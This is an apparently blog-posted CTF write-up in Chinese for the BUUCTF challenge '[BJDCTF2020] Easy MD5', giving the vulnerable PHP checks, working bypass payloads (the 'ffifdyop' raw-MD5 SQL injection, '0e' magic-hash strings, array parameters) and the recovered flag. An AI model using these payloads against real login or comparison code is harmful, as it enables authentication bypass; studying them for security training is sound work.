BUUCTF-web-[BJDCTF2020]Easy MD5

[BJDCTF2020]Easy MD5

解题思路

1、MD5绕过
2、sql注入

解题步骤

step1:ffifdyop绕过

image

输入任意密码,查看响应信息发现一个sql语句
select * from 'admin' where password=md5($pass,true)
输入ffifdyop进行绕过,得到以下页面

image

step2:0e绕过
查看网页源码如下:

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

分析:需要a和b不相等,但是a和b的md5值要相等,考虑使用0e绕过

1、选取两个字符串md5后是以0e开头的,例如:s1665632922a  s1502113478a
2、使用GET方法传入参数

levels91.php?a=s1665632922a&b=s1502113478a

获取如下代码:

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

image
image

step3 数组绕过
获取代码如下:
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

1、md5()函数无法处理数组,传入数组返回为空,可使param1和param2的md5值相等
2、使用POST方法传入参数

param1[]=111&param2[]=222
得到flag 
flag{07c5ad3d-d877-4fa9-81ec-d933ef02fe1b}

image

总结

ffifdyop绕过
绕过原理是:
ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是1select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。
0e绕过
在进行“==”判断的时候,会先将字符串类型转化成相同再比较。转换的规则为,若该字符串以合法的数值开始,则使用该值,否则其值为0。因此,根据这一点,可以遍历出一个字符串,其MD5加密前后都是'0e'开头且后面纯数字,这样就能保证值是相等。
数组绕过
由于md5不能加密数组,在加密数组的时候会返回NULL,所以我们可以传入两个数组
数组绕过适用于源码中没有判断变量类型或内容,如果加上了过滤函数就不能使用了
posted @ 2023-01-30 16:08  城东的酒坊  阅读(268)  评论(0)    收藏  举报